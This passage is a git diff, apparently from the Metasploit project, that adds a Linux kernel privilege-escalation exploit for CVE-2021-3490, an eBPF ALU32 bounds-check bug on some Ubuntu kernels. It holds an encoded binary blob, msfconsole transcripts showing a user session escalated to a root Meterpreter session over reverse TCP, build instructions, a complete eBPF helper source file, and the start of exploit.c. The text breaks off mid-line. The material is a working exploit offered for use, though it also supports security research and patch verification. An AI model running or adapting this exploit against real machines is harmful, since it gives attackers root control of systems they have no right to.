zB?l7$mk#-CK;&tl8#ZcslE!leXk;b{l7oq16GLs8;154ZQQ=j2e96H?;nE@J&rsZG zSu>O)+g@$G#JtYMOkk}oftU?HJ=sQduQN|J1h zE}qOJiJxXNZf8pSC_RTH_GE*D!>$=zG@{;j5WTVAu>ln-JYD6HnY&E)Fm zcFXpS?pFPh?2{GFy=E3xu5j07m3w`%gMGc?>bBp5(bd>Cq7(t9VVWPB_$R$E+0(v; z+{B}cBWdAdJ;?Pz|3(Np7l(9pZa|&$0Yfn#MAD+_L!ez*yc8xmm>^4s{4k(J)eWF4 zR&Q5s!*dg8Wc6(1V4`QUs45fuM*tQ6sG$nqjHD;f7SQu02NQ)$hrAUK`Ek%Ks%rmK zi>f<7BQp(?9845m=1lOPBt_k#UG1W2*wf(7_FkD`JOh#m?_ePWo#LfK|DODY=zeVc zEasiI)2nINb7+={grJj&bTWA!&^hQGQuh?yjie>j7eQl62s%vZFkb?+r1~=GLf?m^ zHIG+8V@e1*OzAN904nn}Lj}DbX&at4 z&|yl4c>oaeO+zscBB`Uj1zNFmG|9mPSvusm0d=%PpgY@$JA~?70vef)COMc~N0SMD zDWJkf8>;ZJNa|?EfSxZom?&I2RRrd?)BmyBkT>z6><#|bXCd01X()d zhXGyK8w^$QMkHO>n?T4ss1bq=Q##B?02QkZZ`aP7<%s7N(AQaVFu5Ks6a1}!_>UW^ zvDg86zT{wn&yIym@Sg<4f7(#|UZl_B{0!*%l7orLONabDK;&mZ7qeYR+wgo2 zG&0jL$-(3bmkIv!fcP&Ms_@-NYOohU<8xz@984509r8Sk-6@>(n=7W<#&zBrb@E84oJ#k%pr{(b_2a_vbCd$uWbaK5wi%#2cKFjkt zdC9>9pI#&r{QPw%$Je@(?$a|opU0ErU?OXqF`&rLH57k7lE$Eyf|2#Ml0~ zJM&dYiu^60=SvPI7kQcB-wKGYEpo^2kT1?T(DNk+lPg~)_;&!}-)X4&cOz}X`7Y4- zoV?^w_{@sB1_ZW)521${>7c@SRmmEw4PdeoL0Fkvn{vHe7IwVDYJ?IOU988d< zL%tsn`2kSxiMp4rC*k=J7JufFgUOw_Oze9?~+fr z{XXYsDJ;`WxXoVfj9qi>6}-F|7r~po!@Sx(kq2@bS+$z~@ z6+zWn`2LgFb*Eh4dJ@<7$GNk_q>&%pBc7ke>qMp(FBMIokb-rrgkB5oNos0Ib$QFT zv$7)9l^QMCDiOc-yXkpbsJb-Ihflm0`gA#;iaZ}aIb7&d=X@qmB$bZ#9o_AhwGQRg z>z4iNtW};^#@oh4%T`PaFsk=o2U;JH5Om!)(CIzRfC7^>RPR}Vq~5m@wBF0CUve-( zmJay_K(qcELDiH`Y9MXH^A^y^%=#q<6J2+mGr_;rc-%A$#qU5m8s{A7`I3W)!lgsL z15nNH1l_E^8%bl8yFeo|>z5o%6kg^`@b4zYda>fC<)wQ-ZW}VgxECZ7?hyzL_*NXL^_$=59k~o0BKAD@F0@r{11V~ln`{7(qTRf z*wg@Yq2GvPQv=YLn-E|MY?vki<|Ba0eAG~7ZbsUM=N1sAEiXw9CW@5~c`G3D!`~jwTcQ=K&S|f}slEjiiqDBIx;&gNeeWLw*Sm`DM^`v_2$tv{ykR)6paclj~?Q z!QTT6^%N~Hy@rKVJ=vk`1<8d;07B3yUpoBP@4r`S6%H5&~lLwbaIhS zE(ZXe#hak(Y6p?j)!qV)DIw@ErNew1P**zyy5RE?lyxO=*g0U39@v^ zGXas$0~540OL|CYJgY!obIHL(&F3@z#{_>CApUGa@l!~;&gOugFFBYfTsq{70g>l| zu7}P?(!J$U(AQjYFhQ0M`7%J{1)w8ej-=DR0`z3b!30@4I?{K+^KkO3=u3Rms5wSvuq!0A1KO8d7p{6%UZ)EzmlWw>W76(vqI!trU{H&944r z2c!CAF0NQI=M?L}$sDeC$n{R=+Rchl@-FXsms4=9>`2~)>)mp_$GNWgEUEW;*L$5p z>G$HtFtR7P*3K`vZW~GK&2MZ+a=lYrmg{l7U#<_hEFUC@$%o8!R7dh5r;z1C_&qGY z4Yt6O-1s4qHu)?!IR(E>_&p-OM{O-9xp@*vTYP?7oI=s7I+9y(WhmH_eB2eiU9LO4 z>kg;5TJFI0Nx44lTzggeGv+$FBl(O|DE%4yz9+wDcj34*xl36-=d*myDK5+BaD85` zFSsmsbI~MUG}kd5$rqhMmM`M>lKftFetoQIBwzJezUmaRoZpdr71up-ea*S{t7q)R zwIjLLN#wT|r`P3VpHxhB*{IV-#No4+FSE7EuzVaJ@%m4`@v(pLw{6I;K@)>=<=xHj zSFg#s@2TN~lV8FmZ=Bn<-^SlXBiy_VWR1tmQe7K$lZ-cy`@`n(`+GGew-1N@tIFT= zEv5yP@#q^?$5^p6057F3@j$+RXCU1m(l-KrnP(&vAgKJ+iqH0a`Ok^5jLv3leoTz zD%z*^`dg{RHnJM*SA7W4Mg?|_r|E6rS#n~_QlvQ?Em>=d>SsfA=Q=Ks4CCt zv8d?NdN1>(p8fww^4?!^RbtpD!|fQn^D8dya{jf_u95S0Id>+vyLt~|clCZEkNDH) zLn%io_GgLsUmUU55#Jw9__jP^+be~k6ZAW&~4#YcXki-SH6{Ufmk zz6pytv%CKGpn1=e-U!`%P@X&GISJ2EEQ0iJmZ$nz+jeHL^tGP;F?q$5{Vx8jXz}!U z7rcU=T$a1(5IvcfIu;IeCJ$|CA}YC^+p37Li|Mb58HwTvH}2LW|Czq6PuwO8C&KFH zxhM1h)wf?6tk&Z{mFvT4AEUaOC+s$A0;9U7eg{VKFoQhguZr9o=d{6LT{uh(Yo$+$(ul4O@kWzd*+2AXK zxyNexo66BVuN>YkS&TY*7y>zoS8WCm$v|)29Q0yWyUN-+FgVG53xGOj$0nMkr+r26 zS-lFexOw@8GOP+nCnGj0)P5U(X;syZwX6<7*O*gIRF&Ji(RgWxziMO_2$7;Fp$|K& zT6nAzv^}BIiLw){qr76P2|9yLJCFA5H=hha<*K{zK#cl-dPt3t@3Zp6kZDiNa z_Vb;1M$s2Z#)NX^tEd%eheV2G}_C6(sBIIq*?=TZr%3fVH%3he3cd%}k0 zB61R`&ebYS=leS6+t&9<-gv^$X@9v3k4|;o_TAlB=yocX?5viZt4+(5#hyjqLs9uJ zMR%S*@q8)9V$xYj)Lp?NoorEkV7i+1^tb+gaPYS6*+qG#`Ivl$osXI0@L}5WIF5Wd zhn;y(|66wI7AroX#k3}lU)%Ph_Pvw*6~t7J+Q&U!iu+#0H;UrX?b?5h<^Nc>!Rii! zu2sNXzT6Nf>IPhKD)_J#=X(_~t90sOnd$lI1J|Vv0Cl6F(-p>YxHLNPXB86HNm4V~ zRfP$+KjzP4Zz-2EsYb=Q%t%%mUy5P%4f(1HxcYo2pyt{)nDH@73z3#f=#ZEE4|O;5 z>pJnfb`Eje+qO?ll`t5x2Hh4>lm1U|3!~3kb!O~p9b?~Q8aD?`eNtXkugCQ^whcbP zMat`$+-MZnh|yAKyCkx)TJcQ`ZBMKSNs>siu3=x&;G%YuW(()}57kwFy`VYWV~Zg+ zdsu%Cq4pE`|GN1A8(#FK=a-Es21 z-=zZn?p*5&#T}(5*=J?;ByCvDaC^XX_rB}YRM)~j3faA7B3AW+XSUD^$rn;JeCdmQ zt%(1^m-&=f+?y9aTyz$d)S@@ndib}?ybN1&0$&MVDXUE9!l$W2uN!wxm1B<6wt%^h zJSO`m-2PQnuzbx|_ij;c3ddyT>Dmn31gY(&-BFfGk2zgbqSy91 zQ~q)EjpY8VjP?TdeCW4^3=3{yH87&1P3WSC_SuDyf(1b99T& zG4GB`xG7#J*|#*+`K}U-dQaVbiO>LZBTkL47gESYPNZf$*?KPQ-HfX{`QoRx*GI?B zZ@O=M!kIh7e7<}LLT>)l_|o3@9=h1UlD6djlFl*z9rBFi{^q~eZMSpGov8j?S4pNB zH-6R5bvdd#*M4_iRiB;Pb^hN?j-sl+os;`<)xtTs-&QTC${kvm>N>L?^JnIs_B(y2 zcmJdZ$Y96sMr9|R^^^GflIP|Q%+393cJ3EdgD1X{YI~|AHRGqPuj~81KX-N2RaIA4 zeZDIF)RHCT6DHkeh3YQ)6q3-sCp>&JxFsL?b0h*sBJlrk1oV4GIzD&i)d~INQ>HeN zZA`Q_)mCRSiRINziA;TFd8Q$o_(FAkYo>*}i#rPan_C+anOXBMOf)q&E^V$}KDj8r z`b_n;34SE1v3X_U`nv401itA@W?h`VD7hd#=hGKnlAd)%`oh@>qg|V6ZphRp>_?#D zIu++v!w*wYzr{^U64lMk)hks~SGA&gWwOn6nJ;7#E!oEA>ZJu|G~|DMb#p^q!_qVI z0-zJBq1FwpO$o}XRfUI6E{<2=c~2L>$%*W;x)#o}zCKY?-P)2#)HU$qR*UQE>#{4$ z%gZf*3tKYOXJ+C9Es67*s)-0ukAo*Mvm#T|${AL-B$^u=v!6JQ1xGsy&o3_yL_n?c zxes6MS|Zb+U&E?BL!oI&ILF%JI9j_jWt&x`&M<`0@~N(^ZB8^UNi;Stw$u=6s$IXr z)u^yOmY-;umKHIM!Ebssr5mkwu6{n>g48%q-joS~9Vuv6-N|0U0AP+RGZ{q+C%Nu)SPLm=J({5sv9C;jC)bE?%Q?g5h%nTBf`S07ubkJ8zl&F)21 zq2#@zKCa)Igcv2hJUG~aT)B2|a3eS$>;)HnWpJ~#4!90n25tv$0QW$dGENR$95At*-znrKe7IZJZ2xw6o7N&|1|!0-%FnOMdQmZ z96#~m3GcXm?5gOKC(k_noGGVbHU3p#$9=p(E<=1M-z@)E$u53;s4Q)HSJRf8^gA!f z@nyG{UU1w|qaHktDp_4NU_QX~b3GW+OV=pb(x1iL!ff7tCfD;z4~F#pq%WXPe4&89 zJfx4KJ`a=rlskX|>$uP6N~ z(kt@Qmky=hNqRl$Bh_z%%H^87Kc8QEuVtYA^DODNl0H)Y`$@l>^z)QYXuoqp{l{_5 z{tMSKJ9*66;{JE(Q2ovz{Q=V7m!E$5Q2Jcb*ONXeKmE#~^m@|Qk*?+q`Oh0lzmxR4 zN!Kz~NdL@G`UcYPAbmjTzW$}ZFb6w-(y!#+W7m~WA9Zx-zxzqQn0wF<=?8&7YG+6v z$2~_MW8n*5htivd%0Gkj6ZUft$xpw2D19#JXOn(=etPLmp?>wG>z(qC6qNtLQ2w2y ze~o+I-39zy;BO%PB<_XZF5v%5;6F?HM(&Zj3-~`Y{%mafNnbWFIG9oTh2zV)&M~vcSKNM7YW(!Jqc0j?*)V>3)%c34@l$7wPs|!Wan|^wlQ z9VD8@y|tTsfFsBM;mkvE$?z z{qMx;I@ICQfBXBvM(G+K=0aG-v)p8InGVt6}0W4KOMy4Zl;LpUo&3{`cn#?W3a`hs|e9=>LWOM}>Z0 zXg@mg*GHj!Y~=e*q5YW1_qRg(v61iBh4y!Z{$FV4Zs6N3FJTmSg~YJ-@loY4?Kmo$ z5X~RfUKTB~hkst?h@WteccJO=eI`G3RK#7fJKy5{Pmaolwfnp15J&fi(a{^W?K@;; zZiZ4yqjVR=O|KitzP-pkIkx-zz0d1o2qn=_ef<6CLbD$phvjiT;rS6~w9@B+nhVMQOUqo^-LcDsBlv%Q1p9R(*xTd$e>BBqY;$MCf52Ww{fqAp zUy1#{$&Zle&~>Hbe#NKs@cX3Zgu}&c`v~@zu^-QUAQ9h}=mvJ|8NvTQMzHr;dzD3R zCmeshgXmb=Me)3Ei8EBj_IH{+R`TFOvH!zy|EY-6X2$j}Pj&`d(?Fa%LO$u(|L$7n zZ*x4vmJ$5##;!O_jN{1wj4_xi+XFG_d#P*HXIzuM5PcwV0NsHZS4h7 zuRWI$pQ&+tJmsIQ{zK34kHiUA$N4PyyfgUgy*l=?&6+VrC87hYC1FPTn$dUiUER#5rcC_Vd%Pgl*Gb3tJWJ8jLPUi9gO>0~O- zAvOE5D1Fh~OJ-HgOUDMKPVI*{!Ol9RobLY&uAbocE z+2!X(^^J|!wl>)&R=gJ)#ru6}+oy=KnU-wY?QEpAXBDwE(onO!sW6-LoCWjJLoL5x z-UVv+1=^$w`5C*ZHQQ21Retg-5rd!F6a5c6RHBvgA z*Wp}?`KGlF!5P;Tol(=LY@d0a?F8YhNa!T#J)BAnTSbLcOQ)AEZ)|WL)*WkG8q>?F z8)|7lH45>ru4^vh%((Ux*rsHi%U46d7>Wk{?(Q@0aD$LRC zm1TT?b3M>)*B5kAx>9|8V@)ABonGA15}%_25?O~R*oO6ek^7al*wfTY`L_6GP#1Nr zFzm_L7G;!KQCHNi=`oUw1=M%d0Et zy*s^d7i8bo z(YqY+qv|h$_rhi4Q)#1^Xf0Q$ab=z2tsu8pX z>-m12)}ua&phI<3oc;Oxd9{YED$?`)x|T=3&Wnp3$|L`{4n=FIp6}PcJi513B5m{9 z;r%>*5v$f@z3$h^0>-@J`p4!-%Rq{$=P!~YhsW)v4V7Pf{{Kk2__Ja^zwYeOuT!i3 zidiv#JvPO}pC3a)cf_dvoqrU!|5_6B`H7epuqfa~*+*Y1;#bD&dLF&MuY=b;ZY<*a zbwQ7QJ!K^RmLmS5c(Uv9yH|LoLtn19ZY$#Zbw-bVzr*_%$M3r_-?zV?pLx`{KL7CT z=WX9dP>2KHuUp2bcRKQqqU@rdkeJW+>zf`^jN|i<;_`n+qSgxI%Ra1wPQS^qiv7Lr z@eSN2#x&q#>mm@ApG_9 z_IMQJe14eMuW}S$j?cjJysmXY*?jqa{#LfidHDOB_b=ujAD3U@9b)wS(~In?tB!mO zea9u)-^x`^nHq19y$@AuyuN&2FYRCXx;uvZyR6e;OHu#v<$7OT?!)na((OD>E+Q1E G(fg|<=v literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md new file mode 100644 index 0000000000..8572e474b2 --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe.md @@ -0,0 +1,284 @@ +## Vulnerable Application + +Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and +5.10.37 are vulnerable to a bug in the eBPF verifier's verification +of ALU32 operations in the `scalar32_min_max_and` function when performing +AND operations, whereby under certain conditions the bounds of a +32 bit register would not be properly updated. + +This can be abused by attackers to conduct an out of bounds read +and write in the Linux kernel and therefore achieve arbitrary +code execution as the `root` user. + +The target system must be compiled with eBPF support and not have +`kernel.unprivileged_bpf_disabled` set to `1`, which prevents unprivileged +users from loading eBPF programs into the kernel. Note that if +`kernel.unprivileged_bpf_disabled` is enabled this module can still be +utilized to bypass protections such as SELinux, however the user +must already be logged into the system as a privileged user such as `root`. + +### Vulnerable Targets +Ubuntu 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58 and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17 + +## Verification Steps + + 1. Start `msfconsole` + 2. Gain a Linux Meterpreter shell on a target vulnerable system. + 3. Do: `use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe` + 4. Do: `set session #` where the session number corresponds to the low privileged Meterpreter session you spawned earlier. + 5. Do: `set LHOST ` + 6. Do: `set LPORT ` + 7. Do: `exploit` + + +## Options + +### WritableDir +A folder we can write files to. Defaults to `/tmp` + +## Scenarios + +### Ubuntu 21.04 (with Linux 5.11.0-16-generic) + +``` +msf6 > use multi/handler +[*] Using configured payload generic/shell_reverse_tcp +msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +payload => linux/x64/meterpreter/bind_tcp +msf6 exploit(multi/handler) > show options + +Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + +Payload options (linux/x64/meterpreter/bind_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LPORT 4444 yes The listen port + RHOST no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + +msf6 exploit(multi/handler) > set RHOST 192.168.224.221 +RHOST => 192.168.224.221 +msf6 exploit(multi/handler) > run + +[*] Started bind TCP handler against 192.168.224.221:4444 +[*] Sending stage (3012548 bytes) to 192.168.224.221 +[*] Meterpreter session 1 opened (192.168.224.128:41855 -> 192.168.224.221:4444) at 2021-08-17 17:37:31 -0500 + +meterpreter > sysinfo +Computer : 192.168.224.221 +OS : Ubuntu 21.04 (Linux 5.11.0-16-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > shell +Process 4636 created. +Channel 1 created. +cat /etc/shadow +cat: /etc/shadow: Permission denied +exit +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/handler) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:41855 -> 192.168.224.221:4444 + egid=1000) @ 192.168.224.221 (192.168.224.221) + +msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options + +Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION yes The session to run this module on. + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.224.128 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +SESSION => 1 +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit + +[*] Started reverse TCP handler on 192.168.224.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Writing '/tmp/.802fke5' (39352 bytes) ... +[*] Writing '/tmp/.75mogl0Vz6' (250 bytes) ... +[*] Launching exploit ... +[*] Sending stage (3012548 bytes) to 192.168.224.221 +[+] Deleted /tmp/.802fke5 +[+] Deleted /tmp/.75mogl0Vz6 +[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.221:42170) at 2021-08-17 17:40:19 -0500 + +meterpreter > sysinfo +Computer : 192.168.224.221 +OS : Ubuntu 21.04 (Linux 5.11.0-16-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) +meterpreter > background +[*] Backgrounding session 2... +smsf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:41855 -> 192.168.224.221:4444 + egid=1000) @ 192.168.224.221 (192.168.224.221) + 2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.221:42170 + @ 192.168.224.221 (192.168.224.221) + +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +``` + + +### Ubuntu 20.04 (with Linux 4.4.0-21-generic) + +``` +msf6 > use multi/handler +[*] Using configured payload generic/shell_reverse_tcp +msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp +payload => linux/x64/meterpreter/bind_tcp +msf6 exploit(multi/handler) > show options + +Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + +Payload options (linux/x64/meterpreter/bind_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LPORT 4444 yes The listen port + RHOST no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + +msf6 exploit(multi/handler) > set RHOST 192.168.224.220 +RHOST => 192.168.224.220 +msf6 exploit(multi/handler) > exploit + +[*] Started bind TCP handler against 192.168.224.220:4444 +[*] Sending stage (3012548 bytes) to 192.168.224.220 +[*] Meterpreter session 1 opened (192.168.224.128:46051 -> 192.168.224.220:4444) at 2021-08-17 17:51:38 -0500 + +meterpreter > sysinfo +Computer : 192.168.224.220 +OS : Ubuntu 20.10 (Linux 5.8.0-25-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: test @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000) +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/handler) > use exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > show options + +Module options (exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION yes The session to run this module on. + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.224.128 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Auto + + +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > set SESSION 1 +SESSION => 1 +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > check +[*] The target appears to be vulnerable. +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > exploit + +[*] Started reverse TCP handler on 192.168.224.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Writing '/tmp/.8lHII9pIja' (39352 bytes) ... +[*] Writing '/tmp/.x3iDbm3J' (250 bytes) ... +[*] Launching exploit ... +[*] Sending stage (3012548 bytes) to 192.168.224.220 +[+] Deleted /tmp/.8lHII9pIja +[+] Deleted /tmp/.x3iDbm3J +[*] Meterpreter session 2 opened (192.168.224.128:4444 -> 192.168.224.220:47878) at 2021-08-17 17:53:36 -0500 + +meterpreter > sysinfo +Computer : 192.168.224.220 +OS : Ubuntu 20.10 (Linux 5.8.0-25-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: root @ ubuntu (uid=0, gid=0, euid=0, egid=0) +meterpreter > background +[*] Backgrounding session 2... +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/linux test @ ubuntu (uid=1000, gid=1000, euid=1000, 192.168.224.128:46051 -> 192.168.224.220:4444 + egid=1000) @ 192.168.224.220 (192.168.224.220) + 2 meterpreter x64/linux root @ ubuntu (uid=0, gid=0, euid=0, egid=0) 192.168.224.128:4444 -> 192.168.224.220:47878 + @ 192.168.224.220 (192.168.224.220) + +msf6 exploit(linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe) > +``` diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile new file mode 100644 index 0000000000..ceff9b210c --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/Makefile @@ -0,0 +1,16 @@ +CC=gcc +LPE =lpe + +BIN = bin/ +INC = include/ + +CMP = -o $(BIN)exploit.bin -I $(INC) exploit.c bpf.c kmem_search.c + +groovy: + $(CC) -DGROOVY $(CMP) + +hirsute: + $(CC) -DHIRSUTE $(CMP) + +clean: + rm $(BIN)exploit.bin diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/README.md b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/README.md new file mode 100644 index 0000000000..1b0051d0fd --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/README.md @@ -0,0 +1,43 @@ +# Linux_LPE_eBPF_CVE-2021-3490 + +LPE exploit for CVE-2021-3490. Tested on Ubuntu 20.10 (Groovy Gorilla) kernels 5.8.0-25.26 through 5.8.0-52.58. +and Ubuntu 21.04 (Hirsute Hippo) 5.11.0-16.17. +The vulnerability was discovered by Manfred Paul [@_manfp](https://twitter.com/_manfp) and fixed in this [commit](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e). + +author: [@chompie1337](https://twitter.com/chompie1337) + +For educational/research purposes only. Use at your own risk. + +## Usage: + +To build for Ubuntu 20.10 (Groovy Gorilla): +``` +make groovy +``` +To build for Ubuntu 21.04 (Hirsute Hippo): +``` +make hirsute +``` +To run: +``` +bin/exploit.bin +[+] eBPF enabled, maps created! +[+] addr of oob BPF array map: ffffa008c1202110 +[+] addr of array_map_ops: ffffffff956572a0 +[+] kernel read successful! +[!] searching for init_pid_ns in kstrtab ... +[+] addr of init_pid_ns in kstrtab: ffffffff95b03a4a +[!] searching for init_pid_ns in ksymtab... +[+] addr of init_pid_ns ffffffff96062d00 +[!] searching for creds for pid: 770 +[+] addr of cred structure: ffffa0086758dec0 +[!] preparing to overwrite creds... +[+] success! enjoy r00t :) +# +``` + +Note: You **must** cleanly exit the root shell by typing `exit` to perform cleanup and avoid a kernel panic. + +Checkout the writeup [Kernel Pwning with eBPF: a Love Story](https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story). + +This research was sponsered by [Grapl](https://www.graplsecurity.com/). diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/bpf.c b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/bpf.c new file mode 100644 index 0000000000..e878fd23d0 --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/bpf.c @@ -0,0 +1,128 @@ +#include +#include +#include +#include +#include +#include + + +int bpf(int cmd, union bpf_attr *attrs) +{ + return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); +} + +int create_map(union bpf_attr* attrs) +{ + int ret = -1; + + ret = bpf(BPF_MAP_CREATE, attrs); + + return ret; +} + +int update_map_element(int map_fd, uint64_t key, void* value, uint64_t flags) +{ + int ret = -1; + + union bpf_attr attr = + { + .map_fd = map_fd, + .key = (uint64_t)&key, + .value = (uint64_t)value, + .flags = flags, + }; + + ret = bpf(BPF_MAP_UPDATE_ELEM, &attr); + + return ret; +} + +int lookup_map_element(int map_fd, uint64_t key, void* value) +{ + int ret = -1; + union bpf_attr attr = + { + .map_fd = map_fd, + .key = (uint64_t)&key, + .value = (uint64_t)value, + }; + + ret = bpf(BPF_MAP_LOOKUP_ELEM, &attr); + + return ret; +} + +int obj_get_info_by_fd(union bpf_attr* attrs) +{ + int ret = -1; + + ret = bpf(BPF_OBJ_GET_INFO_BY_FD, attrs); + + return ret; +} + +int run_bpf_prog(struct bpf_insn* insn, uint32_t cnt, int* prog_fd_out) +{ + int ret = -1; + int prog_fd = -1; + char verifier_log_buff[0x200000] = {0}; + int socks[2] = {0}; + union bpf_attr prog_attrs = + { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = cnt, + .insns = (uint64_t)insn, + .license = (uint64_t)"", + .log_level = 2, + .log_size = sizeof(verifier_log_buff), + .log_buf = (uint64_t)verifier_log_buff + }; + + if(NULL != prog_fd_out) + { + prog_fd = *prog_fd_out; + } + + if(0 >= prog_fd) + { + prog_fd = bpf(BPF_PROG_LOAD, &prog_attrs); + } + + if(0 > prog_fd) + { + puts(verifier_log_buff); + goto done; + } + + if(0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) + { + goto done; + } + + if(0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int))) + { + goto done; + } + + if(0x7 != write(socks[1], "ch0mpie", 0x7)) + { + goto done; + } + + if(NULL != prog_fd_out) + { + *prog_fd_out = prog_fd; + } + + else + { + close(prog_fd); + } + + ret = 0; + +done: + close(socks[0]); + close(socks[1]); + return ret; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/exploit.c b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/exploit.c new file mode 100644 index 0000000000..cf11807578 --- /dev/null +++ b/external/source/exploits/CVE-2021-3490/Linux_LPE_eBPF_CVE-2021-3490/exploit.c @@ -0,0 +1,581 @@ +/** + LPE exploit for CVE-2021-3490, targeting Ubuntu 20.10 (groovy) kernels up to and including 5.8-45. + The vulnerability was discovered by Manfred Paul @_manfp and fixed in commit + https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e + + author: @chompie1337 + + For educational/research purposes only. Use at your own risk. +*/ + +#include +#include +#include +#include +#include +#include + +#include "bpf_defs.h" +#include "kernel_defs.h" +#include "kmem_search.h" +#include "exploit_configs.h" + + +int kernel_read_uint(exploit_context* pCtx, uint64_t addr, uint32_t* puiData) +{ + int ret = -1; + char vals[ARRAY_MAP_SIZE] = {0}; + uint64_t btf_addr = addr - BTF_ID_OFFSET; + struct bpf_map_info_kernel info = {0}; + union bpf_attr attrs = + { + .info.bpf_fd = pCtx->oob_map_fd, + .info.info = (long long unsigned int)&info, + .info.info_len = sizeof(info) + }; + struct bpf_insn insn[] = + { + exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd), + exploit_primitive_pt2, + // exploit reg value is 